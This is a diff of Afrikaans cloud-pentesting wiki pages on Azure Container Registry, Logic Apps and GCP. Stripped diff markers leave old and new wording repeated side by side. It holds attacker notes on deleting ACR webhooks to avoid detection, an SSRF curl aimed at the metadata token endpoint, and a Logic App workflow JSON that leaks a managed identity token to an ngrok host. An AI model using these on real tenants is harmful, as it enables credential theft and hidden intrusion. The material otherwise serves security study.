- **Met Entra ID**: Dit is die **standaard** manier om aan 'n ACR te verifieer. Dit gebruik die **`az acr login`** opdrag om aan die ACR te verifieer. Hierdie opdrag sal **die geloofsbriewe** in die **`~/.docker/config.json`** lêer stoor. Boonop, as jy hierdie opdrag vanaf 'n omgewing sonder toegang tot 'n docker socket soos in 'n **cloud shell** uitvoer, is dit moontlik om die **`--expose-token`** vlag te gebruik om die **token** te verkry om aan die ACR te verifieer. Dan, om te verifieer moet jy as gebruikersnaam `00000000-0000-0000-0000-000000000000` gebruik soos: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Met 'n admin rekening**: Die admin gebruiker is standaard gedeaktiveer, maar dit kan geaktiveer word en dan sal dit moontlik wees om toegang tot die registrasie te verkry met die **gebruikersnaam** en **wagwoord** van die admin rekening met volle toestemmings tot die registrasie. Dit word steeds ondersteun omdat sommige Azure dienste dit gebruik. Let daarop dat **2 wagwoorde** vir hierdie gebruiker geskep word en albei geldig is. Jy kan dit aktiveer met `az acr update -n <acrName> --admin-enabled true`. Let daarop dat die gebruikersnaam gewoonlik die registrasienaam is (en nie `admin` nie).
- **Met 'n token**: Dit is moontlik om 'n **token** met 'n **spesifieke `scope map`** (toestemmings) te skep om toegang tot die registrasie te verkry. Dan, is dit moontlik om hierdie tokennaam as gebruikersnaam en sommige van die gegenereerde wagwoord te gebruik om aan die registrasie te verifieer met `docker login -u <registry-name> -p <password> aregistry-url>`
- **Met Entra ID**: Dit is die **standaard** manier om aan 'n ACR te verifieer. Dit gebruik die **`az acr login`** opdrag om aan die ACR te verifieer. Hierdie opdrag sal **die geloofsbriewe** in die **`~/.docker/config.json`** lêer stoor. Boonop, as jy hierdie opdrag vanaf 'n omgewing sonder toegang tot 'n docker socket soos in 'n **cloud shell** uitvoer, is dit moontlik om die **`--expose-token`** vlag te gebruik om die **token** te verkry om aan die ACR te verifieer. Dan, om te verifieer, moet jy die gebruikersnaam `00000000-0000-0000-0000-000000000000` gebruik soos: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Met 'n administrateurrekening**: Die administrateur gebruiker is standaard gedeaktiveer, maar dit kan geaktiveer word en dan sal dit moontlik wees om toegang tot die registrasie te verkry met die **gebruikersnaam** en **wagwoord** van die administrateurrekening met volle toestemmings tot die registrasie. Dit word steeds ondersteun omdat sommige Azure dienste dit gebruik. Let daarop dat **2 wagwoorde** vir hierdie gebruiker geskep word en albei geldig is. Jy kan dit aktiveer met `az acr update -n <acrName> --admin-enabled true`. Let daarop dat die gebruikersnaam gewoonlik die registrasienaam is (en nie `admin` nie).
- **Met 'n token**: Dit is moontlik om 'n **token** met 'n **spesifieke `scope map`** (toestemmings) te skep om toegang tot die registrasie te verkry. Dan, is dit moontlik om die naam van die token as gebruikersnaam en enige van die gegenereerde wagwoorde te gebruik om aan die registrasie te verifieer met `docker login -u <registry-name> -p <password> <registry-url>`
- **Met 'n Dienshoof**: Dit is moontlik om 'n **dienshoof** te skep en 'n rol soos **`AcrPull`** toe te ken om beelde te trek. Dan sal dit moontlik wees om **in te log op die registrasie** met die SP appId as gebruikersnaam en 'n gegenereerde geheim as wagwoord.
Voorbeeldskrip van die [dokumentasie](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) om 'n SP te genereer met toegang oor 'n registrasie:
@@ -67,21 +67,21 @@ Die **sagte-verwydering** kenmerk stel jou in staat om 'n **verwyderde registras
### Webhooks
Dit is moontlik om **webhooks** binne registrasies te **skep**. In hierdie webhook is dit nodig om die URL te spesifiseer waar 'n **versoek gestuur sal word wanneer 'n push of verwyder aksie uitgevoer word**. Boonop kan Webhooks 'n omvang aandui om die repositories (beelde) aan te dui wat geraak sal word. Byvoorbeeld, 'foo:\*' beteken gebeurtenisse onder die repository 'foo'.
Dit is moontlik om **webhooks** binne registrasies te **skep**. In hierdie webhook is dit nodig om die URL te spesifiseer waar 'n **versoek gestuur sal word wanneer 'n druk of verwyder aksie uitgevoer word**. Boonop kan Webhooks 'n omvang aandui om die repositories (beelde) aan te dui wat geraak sal word. Byvoorbeeld, 'foo:\*' beteken gebeurtenisse onder die repository 'foo'.
Van 'n aanvaller se perspektief is dit interessant om dit te kontroleer **voor enige aksie** in die registrasie uitgevoer word, en dit tydelik te verwyder indien nodig, om te voorkom dat jy opgespoor word.
### Gekonnekteerde registrasies
Dit stel basies in staat om die **beelde** van een registrasie na 'n ander te **spieël**, gewoonlik geleë op-premises.
Dit stel basies in staat om die **beelde** van een registrasie na 'n ander te **spieël**, gewoonlik geleë op die perseel.
Dit het 2 modi: **LeesSlegs** en **LeesSkryf**. In die eerste een, word die beelde slegs **getrek** van die bronregistrasie, en in die tweede een, kan beelde ook **gestoot** word na die bronregistrasie.
Ten einde kliënte toe te laat om toegang tot die registrasie vanaf Azure te verkry, word 'n **token** gegenereer wanneer die gekonnekteerde registrasie gebruik word.
Om kliënte toe te laat om toegang tot die registrasie vanaf Azure te verkry, word 'n **token** gegenereer wanneer die gekonnekteerde registrasie gebruik word.
### Lopies & Take
Lopies & Take stel jou in staat om in Azure houer-verwante aksies uit te voer wat jy tipies lokaal of in 'n CI/CD-pyplyn nodig gehad het om te doen. Byvoorbeeld, jy kan **bou, stoot, en loop beelde in die registrasie**.
Lopies & Take stel jou in staat om aksies rakende Azure houers uit te voer wat jy tipies lokaal of in 'n CI/CD-pyplyn nodig gehad het om te doen. Byvoorbeeld, jy kan **bou, druk, en loop beelde in die registrasie**.
Die maklikste manier om 'n houer te bou en te loop, is om 'n gewone Loop te gebruik:
```bash
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
# Run
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
```
However, dit sal lopies aktiveer wat nie baie interessant is vanuit 'n aanvaller se perspektief nie, omdat hulle geen bestuurde identiteit aan hulle het nie.
However, dit sal lopies aktiveer wat nie baie interessant is vanuit 'n aanvaller se perspektief nie, want hulle het geen bestuurde identiteit aan hulle geheg nie.
However, **tasks** kan 'n **system and user managed identity** aan hulle hê. Hierdie take is diegene wat nuttig is om **privileges te eskaleer** in die houer. In die privileges eskalering afdeling is dit moontlik om te sien hoe om take te gebruik om privileges te eskaleer.
However, **tasks** kan 'n **stelsel en gebruiker bestuurde identiteit** aan hulle hê. Hierdie take is diegene wat nuttig is om **privileges te verhoog** in die houer. In die afdeling oor die verhoging van privileges is dit moontlik om te sien hoe om take te gebruik om privileges te verhoog.
### Cache
Die cache-funksie laat toe om **images van 'n eksterne repository af te laai** en die nuwe weergawes in die registrasie te stoor. Dit vereis dat daar 'n paar **credentials geconfigureer** moet word deur die credentials uit 'n Azure Vault te kies.
Die cache-funksie laat toe om **beelde van 'n eksterne repository af te laai** en die nuwe weergawes in die registrasie te stoor. Dit vereis dat daar 'n paar **bewyse geconfigureer** moet word deur die bewese uit 'n Azure Vault te kies.
Dit is baie interessant vanuit 'n aanvaller se perspektief omdat dit toelaat om te **pivot na 'n eksterne platform** as die aanvaller genoeg regte het om toegang tot die credentials te verkry, **images van 'n eksterne repository af te laai** en die konfigurasie van 'n cache kan ook as 'n **persistence mechanism** gebruik word.
Dit is baie interessant vanuit 'n aanvaller se perspektief omdat dit toelaat om te **pivot na 'n eksterne platform** as die aanvaller genoeg regte het om toegang tot die bewese te verkry, **beelde van 'n eksterne repository af te laai** en die konfigurasie van 'n cache kan ook as 'n **volhardingsmeganisme** gebruik word.
## Enumeration
> [!WARNING]
> Dit is baie belangrik dat selfs al bevat die registrasie naam 'n paar hoofletters, jy moet slegs kleinletters in die url gebruik om toegang daartoe te verkry.
> Dit is baie belangrik dat selfs al bevat die registrasienaam 'n paar hoofletters, jy moet slegs kleinletters in die url gebruik om toegang daartoe te verkry.
```bash
# List of all the registries
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
@@ -143,13 +143,19 @@ az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## Ongeauthentiseerde Toegang
{{#ref}}
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
{{#endref}}
## Privilege Escalation & Post Exploitation
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## References
## Verwysings
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)

View File

@@ -4,101 +4,177 @@
## Basiese Inligting
Azure Logic Apps is 'n wolk-gebaseerde diens wat deur Microsoft Azure verskaf word wat ontwikkelaars in staat stel om **werkvloei te skep en te bestuur wat verskeie dienste**, databronne en toepassings integreer. Hierdie werkvloei is ontwerp om **besigheidsprosesse te outomatiseer**, take te orkestreer en data-integrasies oor verskillende platforms uit te voer.
Azure Logic Apps stel ontwikkelaars in staat om **werkvloei te skep en te bestuur wat verskeie dienste**, databasisse en toepassings integreer. Hierdie werkvloei is ontwerp om **besigheidsprosesse te outomatiseer**, take te orkestreer en data-integrasies oor verskillende platforms uit te voer.
Logic Apps bied 'n visuele ontwerper om werkvloei te skep met 'n **wye verskeidenheid voorafgeboude koppelvlakke**, wat dit maklik maak om te verbind met en te kommunikeer met verskeie dienste, soos Office 365, Dynamics CRM, Salesforce, en vele ander. Jy kan ook pasgemaakte koppelvlakke skep vir jou spesifieke behoeftes.
Logic Apps bied 'n **visuele ontwerper** om werkvloei te skep met 'n **wye verskeidenheid voorafgeboude koppelvlakke**, wat dit maklik maak om met verskeie dienste te verbind en te kommunikeer:
Wanneer jy 'n Logic App skep, moet jy óf 'n eksterne stoorrekening skep of koppel wat die werkvloei-toestand, uitvoergeskiedenis en artefakte stoor. Hierdie stoor kan gekonfigureer word met diagnostiese instellings vir monitering en kan beveilig word met netwerktoegangbeperkings of in 'n virtuele netwerk geïntegreer word om inkomende en uitgaande verkeer te beheer.
<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
### Voorbeelde
- **Outomatisering van Data-pype**: Logic Apps kan **dataverskuiwing en -transformasieprosesse** outomatiseer in kombinasie met Azure Data Factory. Dit is nuttig om skaalbare en betroubare datapipes te skep wat data tussen verskeie datastores, soos Azure SQL Database en Azure Blob Storage, beweeg en transformeer, wat help met analise en besigheidsintelligensie-operasies.
- **Integrasie met Azure Functions**: Logic Apps kan saam met Azure Functions werk om **gesofistikeerde, gebeurtenisgedrewe toepassings te ontwikkel wat soos nodig skaal** en naatloos met ander Azure-dienste integreer. 'n Voorbeeld van 'n gebruiksgeval is om 'n Logic App te gebruik om 'n Azure Function te aktiveer in reaksie op sekere gebeurtenisse, soos veranderinge in 'n Azure-stoorrekening, wat dinamiese dataverwerking moontlik maak.
### Visualiseer 'n LogicAPP
Dit is moontlik om 'n LogicApp met grafika te sien:
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
of om die kode in die "**Logic app kodeweergave**" afdeling te kontroleer.
### SSRF-beskerming
Selfs al vind jy die **Logic App kwesbaar vir SSRF**, sal jy nie in staat wees om die akrediteerbare inligting van die metadata te bekom nie, aangesien Logic Apps dit nie toelaat nie.
Byvoorbeeld, iets soos dit sal nie die token teruggee:
```bash
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### Hosting options
### Gasheeropsies
Daar is verskeie gasheeropsies:
* **Consumption**
- **Multi-tenant**: bied gedeelde rekenaarbronne, werk in die openbare wolk, en volg 'n betaal-per-operasie prysmodel. Dit is ideaal vir liggewig en kostedoeltreffende werklas. Dit ontplooi 'n "Single Workflow".
* **Standard**
- **Workflow Service Plan**: toegewyde rekenaarbronne met VNET-integrasie vir netwerking en hef per workflow service plan instansie. Dit is geskik vir meer veeleisende werklas wat groter beheer vereis.
- **App Service Environment V3** toegewyde rekenaarbronne met volle isolasie en skaalbaarheid. Dit integreer ook met VNET vir netwerking en gebruik 'n prysmodel gebaseer op App Service instansies binne die omgewing.
- **Hybrid** ontwerp vir plaaslike verwerking en multi-cloud ondersteuning. Dit laat kliënt-bestuurde rekenaarbronne met plaaslike netwerktoegang toe en gebruik Kubernetes Event-Driven Autoscaling (KEDA). Dit staat op 'n Container App Connected Environment.
* **Verbruik**
- **Multi-tenant**: Dit bied gedeelde rekenaarbronne, werk in die openbare wolk, en volg 'n betaal-per-operasie prysmodel. Dit is ideaal vir liggewig en kostedoeltreffende werklas. Dit is wat ons 'n "Enkele Werkvloei" sal noem.
* **Standaard**
- **Werkvloei Diensplan**: Dit bied toegewyde rekenaarbronne met VNET-integrasie vir netwerk en hef per werkvloei diensplan instansie. Dit is geskik vir meer veeleisende werklas wat groter beheer vereis.
- **App Service Omgewing V3:** Dit bied toegewyde rekenaarbronne met volle isolasie en skaalbaarheid. Dit integreer ook met VNET vir netwerk en gebruik 'n prysmodel gebaseer op App Service instansies binne die omgewing.
- **Hibriede:** Dit is ontwerp vir plaaslike verwerking en multi-wolk ondersteuning. Dit laat kliënt-bestuurde rekenaarbronne met plaaslike netwerktoegang toe en gebruik Kubernetes Event-Driven Autoscaling (KEDA). Dit staat op 'n Container App Connected Environment.
### Key Features
- **Storage**: Logic Apps vereis 'n eksterne Azure Storage rekening om workflow toestand, uitvoering geskiedenis… te stoor en moet in dieselfde hulpbron groep wees as die Logic App.
- **Networking & Security**: Logic Apps kan gekonfigureer word met openbare of private toegang. Standaard is die app oop vir die internet, maar kan geïntegreer word met 'n Azure Virtuele Netwerk vir geïsoleerde konnektiwiteit.
- **Application Insights**: Toepassing Prestasie Bestuur (APM) deur Azure Monitor Application Insights kan geaktiveer word om prestasie te volg, anomalieë te ontdek, en analise te verskaf.
- **Access Control**: Logic apps ondersteun Stelsel Bestuurde Identiteite & Gebruiker Bestuurde Identiteite.
## "Enkele" Werkvloei / Verbruikplan
### "Single" Workflows
'n **werkvloei** is 'n gestruktureerde volgorde van outomatiese stappe of take wat 'n spesifieke proses of doelwit uitvoer. Dit definieer hoe verskillende aksies, voorwaardes en besluite met mekaar interaksie het om 'n gewenste uitkoms te bereik, wat operasies stroomlyn en handmatige moeite verminder.
'n **workflow** is 'n gestruktureerde volgorde van geoutomatiseerde stappe of take wat 'n spesifieke proses of doelwit uitvoer. Dit definieer hoe verskillende aksies, toestande, en besluite met mekaar interaksie het om 'n gewenste uitkoms te bereik, wat operasies stroomlyn en handmatige moeite verminder. Workflows kan verskeie stelsels integreer, gebeurtenisse en reëls ontketen, en verseker konsekwentheid en doeltreffendheid in prosesse.
> [!TIP]
> Die Verbruikplan laat **die skep van 'n enkele werkvloei sonder die behoefte aan 'n Logic App** self toe.
Azure Logic apps bied die funksionaliteit van **die skep van 'n enkele workflow sonder die behoefte aan 'n Logic App** self.
### Triggers & Aksies
Elke workflow het verskillende **triggers**. Hierdie triggers is die stappe wat die workflow volg. Elke trigger het sy parameters wat kan wissel, afhangende van die tipe van die trigger:
- Verbinding naam
- **Authentication Type** wat kan wees, Toegang Sleutel, Microsoft Entra ID, Geïntegreerde Diens hoofverifikasie en Logic Apps Bestuurde Identiteit.
Werkvloei triggers dui aan **wanneer die werkvloei moet begin**. Triggers kan 'n HTTP-eindpunt, 'n skedule, of tientalle verskillende gebeurtenisse van Azure of selfs eksterne toepassings wees.
Triggers het ook verskeie instellings:
- Schema Validasie: Verseker dat inkomende data 'n vooraf gedefinieerde struktuur volg.
- Gelyktydigheidsbeheer: Beperk die aantal parallelle uitvoerings.
- Trigger Voorwaardes: voorwaardes wat nagekom moet word voordat die trigger afgevuur word.
- Networking: Konfigureer stukgrootte vir datatransfer en laat toe om workflow koptekste in antwoorde te onderdruk.
- **Security**: Maak **Veilige Insette/Uitsette moontlik om** sensitiewe data in logs en die uitsette te verberg.
Elke werkvloei het verskillende **aksies**. Hierdie aksies is die stappe wat die werkvloei volg. Afhangende van die aksie sal verskillende parameters beskikbaar wees om dit te konfigureer, soos:
**Settings & API Conections:**
- **Verbindingsnaam**: Verbinding om te gebruik waarmee die aksie sal interaksie hê.
- **Outentikasietipe:** Die verskillende opsies is Toegang Sleutel, Microsoft Entra ID, Geïntegreerde Dienshoof outentikasie en Logic Apps Beheerde Identiteit.
- Vanuit 'n Lees-Alleen perspektief is die **Outentikasie** data altyd interessant aangesien dit sensitiewe inligting kan bevat.
- Vanuit 'n Skryf perspektief is die **Outentikasie** data altyd interessant aangesien dit die gebruik van die toestemmings van die toegewyde bestuurde identiteite kan toelaat.
- ...
'n workflow het verskillende instellings soos:
- Toegelate inkomende IP adresse: Hierdie instelling laat jou toe om te beperk wie jou Logic App kan trigger of begin. Die opsies is Enige IP, Slegs ander Logic Apps en Spesifieke IP reeks.
- Integrasie rekening: Hier kan jy jou Logic App aan 'n Integrasie Rekening koppel.
- Hoë deurset: Hierdie instelling stel jou Logic App in staat om meer versoeke vinnig te hanteer.
- Uitvoering geskiedenis behoud: vir hoe lank die geskiedenis van jou Logic App se uitvoerings gehou word.
Aksies het ook verskeie **instellings**, wat afhang van die aksie self. Sommige van die mees algemene instellings is:
Jy kan die verskillende API verbindings wat die workflow het, sien. Binne elkeen van hierdie verbindings het hulle verskillende eienskappe en die moontlikheid om die API verbinding te wysig waar die Verifikasietipe verander kan word.
- **Hernuwingsbeleid**: Konfigureer die aantal hernuwing en die interval tussen hulle.
- **Tydsduur**: Stel die maksimum tyd in wat die aksie kan loop voordat dit tydsduur.
- **Voer Uit Na**: Spesifiseer die voorwaardes wat nagekom moet word voordat die aksie loop.
- **Schema Validasie**: Verseker dat inkomende data 'n vooraf gedefinieerde struktuur volg.
- **Netwerk**: Konfigureer hoe om verskillende koptekste te bestuur.
- **Veilige Insette/Uitsette**: Dit sal inset/uitset data van die loopgeskiedenis verberg.
- ...
**History & Versions:**
Dit het die opsie om toegang te verkry tot die **geskiedenis** van die verskillende uitvoerings, dit wys, Instellings, Uitset, Parameters en die Kode.
### Outorisering Beleide
Dit het ook die opsie om toegang te verkry tot verskillende **weergawe** van die workflow, waar jy die kode kan nagaan en die huidige workflow met 'n ouer weergawe daarvan kan verander.
**Authorization:**
Azure Logic Apps ondersteun **autorisering beleid** met Entra ID om versoek-gebaseerde triggers te beveilig deur 'n geldige toegangstoken te vereis. Hierdie token moet spesifieke aansprake insluit:
Hierdie werkvloei ondersteun **outorisering beleide** met Entra ID om versoek-gebaseerde triggers te beveilig deur 'n geldige toegangstoken te vereis. Hierdie token moet spesifieke aansprake insluit:
- Uitgever (iss) om die identiteitsverskaffer te verifieer
- Publiek (aud) om te verseker dat die token bedoel is vir die Logic App
- Onderwerp (sub) om die oproeper te identifiseer
- JWT ID (JSON Web Token identifiseerder)
- Aangepaste Aanspraak
Wanneer 'n versoek ontvang word, valideer Logic Apps die token teen hierdie aansprake en laat uitvoering toe slegs as hulle ooreenstem met die geconfigureerde beleid. Dit kan gebruik word om 'n ander tenant toe te laat om die workflow te trigger of om die trigger van ander bronne te weier, byvoorbeeld net die trigger toe te laat as dit van https://login.microsoftonline.com/ kom.
Wanneer 'n versoek ontvang word, valideer Logic Apps die token teen hierdie aansprake en laat uitvoering toe slegs as hulle ooreenstem met die geconfigureerde beleid. Dit kan gebruik word om 'n ander tenant toe te laat om die werkvloei te aktiveer of om die aktivering van ander bronne te weier, byvoorbeeld net die aktivering toe te laat as dit van https://login.microsoftonline.com/ kom.
**Access Keys:**
Wanneer jy 'n versoek-gebaseerde trigger vir die eerste keer stoor, skep Logic Apps outomaties 'n unieke eindpunt met 'n SAS-handtekening (gecreëer van die Toegang Sleutel) wat toestemming gee om die workflow aan te roep. Hierdie SAS-handtekening is ingebed in die trigger se URL. Hierdie sleutel kan weer gegenereer word en dit sal 'n nuwe SAS-handtekening gee, maar die sleutels kan nie gelys word nie.
### Toegang Sleutels
Die URL om dit met die Toegang Sleutel aan te roep:
Werkvloei **genereer 2 toegang sleutels** wanneer hulle geskep word. Hierdie sleutels word gebruik om versoeke aan die werkvloei te outentiseer en te autoriseer. Die sleutels word gebruik om 'n Gedeelde Toegang Handtekening (SAS) token te genereer, wat in die versoek-URL ingesluit word.
So, wanneer 'n HTTP-eindpunt trigger geskep word, word 'n **unieke HTTP-eindpunt met 'n SAS-handtekening** wat toestemming gee om die werkvloei aan te roep, gegenereer.
Hierdie **sleutels kan hergegenereer** word en 'n nuwe SAS-URL sal vir hierdie triggers geskep word, maar die **sleutelwaardes kan nie toegang verkry word** nie.
Voorbeeld van 'n SAS-URL om 'n trigger aan te roep:
```
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
```
### Werkvloei Instellings & Komponente
### Enumeration
- **Trigger toegang opsie**: Hierdie instelling laat jou toe om te beperk wie jou werkvloei kan trigger of begin. Die opsies is Enige IP, Slegs ander werkvloei en Spesifieke IP-reekse.
- **Integrasie rekening**: Koppel jou werkvloei aan 'n Integrasie Rekening.
- **Hoë deurset**: As aangeskakel, laat dit toe om meer versoeke vinnig parallel te hanteer.
- **Lopende geskiedenis behoud**: Dit dui die aantal dae aan om lopende geskiedenis te hou.
- **API verbindings**: Dit wys die verskillende API verbindings wat die werkvloei het. Binne elkeen van hierdie verbindings het hulle verskillende eienskappe en die moontlikheid om die API verbinding te wysig waar die Verifikasie tipe verander kan word.
- **Geskiedenis**: Dit het die opsie om toegang te verkry tot **geskiedenis** van ou uitvoerings en data te verkry: Instellings, Uitset, Parameters en die Kode.
- **Weergawes**: Dit het die opsie om toegang te verkry tot verskillende **weergawes** van die werkvloei, waar jy die kode kan nagaan en die huidige werkvloei met 'n ouer weergawe daarvan kan verander.
- **Geregeerde Identiteite**: Dit is moontlik om 1 stelsel geregeerde identiteit en bediener gebruiker geregeerde identiteit aan die werkvloei toe te ken.
### Lek MI toegangstokens
Die HTTP aksie in 'n werkvloei kan gebruik word om data na 'n eksterne web te stuur. In die **Geavanceerde parameters** van die HTTP aksie, is dit moontlik om die **Verifikasie Tipe** as **`Geregeerde identiteit`** te konfigureer en dan die **toegeken Geregeerde Identiteit** te kies om te gebruik (stelsel of gebruiker).
Boonop is dit moontlik om in die **`Audience`** die gehoor van die gegenereerde JWT aan te dui, wat byvoorbeeld **`https://management.azure.com/`** kan wees om die gegenereerde token te gebruik om toegang tot die Azure bestuur API te verkry.
> [!WARNING]
> Deur die aksie te laat die HTTP versoek na 'n bediener wat deur 'n aanvaller beheer word, is dit moontlik om die **toegangstoken van die geregeerde identiteit** wat aan die werkvloei toegeken is, te **lek**.
> [!TIP]
> 'n Aanvaller kan ook ander tipe aksies gebruik om **direk toegang tot ander Azure dienste** te verkry en aksies uit te voer met die regte van die geregeerde identiteit.
Dit is die kode van 'n werkvloei wat 'n HTTP eindpunt blootstel en dan 'n HTTP aksie gebruik om die toegangstoken na die geconfigureerde URL (ngrok in hierdie geval) te lek:
<details>
<summary>Werkvloei kode</summary>
```json
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
```
</details>
## Logika Apps / Standaard Plan
### Verskille met "Enkel" Werkvloei
Logika apps gebruik basies 'n App-diens in die agtergrond om **die logika-app te huisves wat verskeie werkvloei kan huisves**. Dit beteken dat die logika-app al die kenmerke van 'n App-diens en van die "Enkel" Werkvloei sal hê.
Sommige sleutelkenmerke sal wees:
- **App-diensplan**: Logika Apps in die Standaard plan word op 'n App-diensplan gehost, so dit is moontlik om al die App-diens kenmerke te gebruik soos:
- **Netwerkbeperkings**: Gee aan van waar dit toeganklik is.
- **Ontplooiingsentrum**: Ontplooi vanaf eksterne platforms soos Github, Bitbucket, Azure Repos, Eksterne Git en Plaaslike Git.
- **FTP-toegang**: Dit is moontlik om toegang te verkry tot die lêers van die Logika App deur FTP.
- **Stoorrekening**: Die diensapp gebruik 'n stoorrekening om inligting te stoor.
- **Omgewing veranderlikes & App-instellings**: Dit is moontlik om omgewing veranderlikes en app-instellings te konfigureer (en sensitiewe inligting soos toegangsleutels tot die stoorrekening te vind).
- ...
- **Parameters**: Parameters laat jou toe om waardes te bestuur wat oor ontwikkeling, toets en produksie wissel. Dit stel jou in staat om werkvloei eers te ontwerp, en dan maklik omgewing-spesifieke instellings later aan te pas.
- **Toegewydes Hulpbronne**: Logika Apps in die Standaard plan het toegewydes hulpbronne.
- **Meervoudige Werkvloei**: Dit laat jou toe om meervoudige werkvloei te skep.
Vir meer inligting oor App-dienste kyk:
{{#ref}}
../az-services/az-app-services.md
{{#endref}}
### Enumerasie
{{#tabs }}
{{#tab name="az cli" }}
@@ -203,19 +279,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
{{#endtab }}
{{#endtabs }}
### Integrasie Rekeninge
## Integrasie Rekeninge
**Integrasie Rekeninge** is 'n kenmerk van Azure Logic Apps. Integrasie Rekeninge word gebruik om ondernemingsvlak integrasies te fasiliteer deur gevorderde B2B vermoëns, soos EDI, AS2, en XML skema bestuur, moontlik te maak. Integrasie Rekeninge is 'n houer in Azure wat die volgende artefakte stoor wat vir Logic Apps gebruik word:
* Skemas: Bestuur XML skemas vir die validering en verwerking van boodskappe in jou integrasie rekening.
* Kaarte: Konfigureer XSLT-gebaseerde transformasies om dataformate binne jou integrasie werksvloei te omskep.
* Versamelings: Bestuur integrasie rekening versamelings om logika en dataverwerking te stroomlyn.
* Sertifikate: Hanteer sertifikate vir die enkripsie en ondertekening van boodskappe, wat veilige kommunikasie verseker.
* Vennootskappe: Bestuur handelsvennoot inligting vir B2B transaksies, wat naatlose integrasies moontlik maak.
* Ooreenkomste: Konfigureer reëls en instellings vir die uitruil van data met handelsvennote (bv. EDI, AS2).
* Batch Konfigurasies: Bestuur batch verwerking konfigurasies om boodskappe doeltreffend te groepeer en te verwerk.
* RosettaNet PIP: Konfigureer RosettaNet Vennoot Koppelvlak Prosesse (PIPs) om B2B kommunikasie te standaardiseer.
* **Skemas**: Bestuur XML skemas vir die validering en verwerking van boodskappe in jou integrasie rekening.
* **Kaarte**: Konfigureer XSLT-gebaseerde transformasies om data formate binne jou integrasie werksvloei te omskep.
* **Versamelings**: Bestuur integrasie rekening versamelings om logika en data verwerking te stroomlyn.
* **Sertifikate**: Hanteer sertifikate vir die enkriptering en ondertekening van boodskappe, wat veilige kommunikasie verseker.
* **Vennootskappe**: Bestuur handelsvennoot inligting vir B2B transaksies, wat naatlose integrasies moontlik maak.
* **Ooreenkomste**: Konfigureer reëls en instellings vir die uitruil van data met handelsvennote (bv. EDI, AS2).
* **Batch Konfigurasies**: Bestuur batch verwerking konfigurasies om boodskappe doeltreffend te groepeer en te verwerk.
* **RosettaNet PIP**: Konfigureer RosettaNet Vennoot Koppelvlak Prosesse (PIPs) om B2B kommunikasie te standaardiseer.
#### Enumerasie
@@ -331,4 +405,10 @@ Dieselfde as logika-apps privesc:
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}
## Persistence
{{#ref}}
../az-persistence/az-logic-apps-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -15,21 +15,25 @@ Organization
```
'n Virtuele masjien (genoem 'n Compute Instance) is 'n hulpbron. 'n Hulpbron woon in 'n projek, waarskynlik langs ander Compute Instances, stoor emmers, ens.
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg">https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg</a></p></figcaption></figure>
## **Projek Migrasie**
Dit is moontlik om 'n **projek sonder enige organisasie** na 'n organisasie met die toestemmings `roles/resourcemanager.projectCreator` en `roles/resourcemanager.projectMover` te **migreer**. As die projek binne 'n ander organisasie is, is dit nodig om GCP-ondersteuning te kontak om **eers hulle uit die organisasie te skuif**. Vir meer inligting, kyk na [**hierdie**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6).
